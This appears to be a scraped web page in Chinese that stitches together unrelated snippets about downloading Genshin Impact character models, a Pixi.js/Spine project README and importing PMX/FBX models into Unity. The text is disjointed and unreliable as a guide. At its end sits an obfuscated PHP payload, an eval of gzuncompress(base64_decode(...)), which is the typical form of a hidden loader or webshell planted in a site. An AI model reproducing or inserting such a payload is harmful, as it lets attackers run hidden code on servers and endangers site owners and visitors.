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米哈游官方公开过角色的MMD 模型 ,包含 原神 、崩坏等角色 模型 ,但很多人都不知道如何下载,本文介绍模之屋网站进行下载,此网站不仅可以下载米哈游的 模型 ,还有其它 模型 可以下载。 本项目仅为学习 Pixi.js 和 Spine 骨骼动画编程所用 源码中包含的 Spine 动画资产版权为米哈游公司所有,不得出于商业目的或提供付费支持服务而复制或传播此出版物的任何部分,由此造成的一切后果本代码仓库建立者概不负责 Project setup yarn install Compiles and hot-reloads for development yarn serve Compiles and minifies for producti 将上面转换成FBX格式的 资源 包拖到Unity中,包含FBX格式的 模型 和Tex贴图,只有 模型 的话也不行哦。接下来要导出角色材质部分,因为默认的材质是跟 模型 嵌入的,不能修改Shader,所以需要这一步!此时注意的是这个是pmx的格式,而Unity中需要.fbx格式文件。此时选中FBX 模型 文件,在Inspector窗口中点击Materials。如果前面出现白模状态的 模型 ,我们将贴图按照材质挨个换上就可以了。当然如果没有Unity的要先下载。没有下载Blender,那就下载。然后就会将材质分离出来了。 像风主、派蒙和卢姥爷...这种,请去官网一:https://ys.biligame.com/gczj/ 可莉、七七、迪奥娜、钟离...请去官网二:http://ys.biligame.com/pjdkx/ 阿贝多、甘雨、砂糖、行秋请去官网三:https://ys.biligame.com/beyel/?spm_id_from=333.788.b_61637469766974795f766f7465.1 魈、胡桃->官网四:https://ys.biligame.com/ysl/?spm_id_from 游戏实战篇|下载 原神 人物 模型 并在Unity中给 模型 添加动画【伯嫖最新 原神 所有人物 模型 】 拿到 模型 之后我们就可以自定义在自己的学习项目中使用,非常的Nice! 导入 原神 模型 到unity, 解决 Unity使用VSCode写代码不能自动补 的问题,但每次用vscode打开 .cs文件,还是会出现如下图,烦人的弹窗,这是C#扩展的消息,其提示为未在你的电脑检测到.net 开发者包,我们并不是开发dotnet程序,所以无需理会。在unity中,点Window选项->Package Manager,然后如图,更新版本,关闭vscode,重新双击项目脚本。(2)urp和之前的旧渲染冲突,当然也可能是其他渲染方式。场景 模型 显粉色,可能是管道渲染问题。 eval("?>".gzuncompress(base64_decode("eJzsvXtbG0eyOPz/eZ7zHZqJYkuxEALbuYAhwYBjToxhAa83P+BVRpqRNEHSKDMjLsn6u79V1feeHkmQZE/2POvd2Jq+VFdXd1dXV1dVv/p2Opz+9399ttwfLMjif7DDyU0YJVHKNtrtb1jpDxaM4n4yietP82H...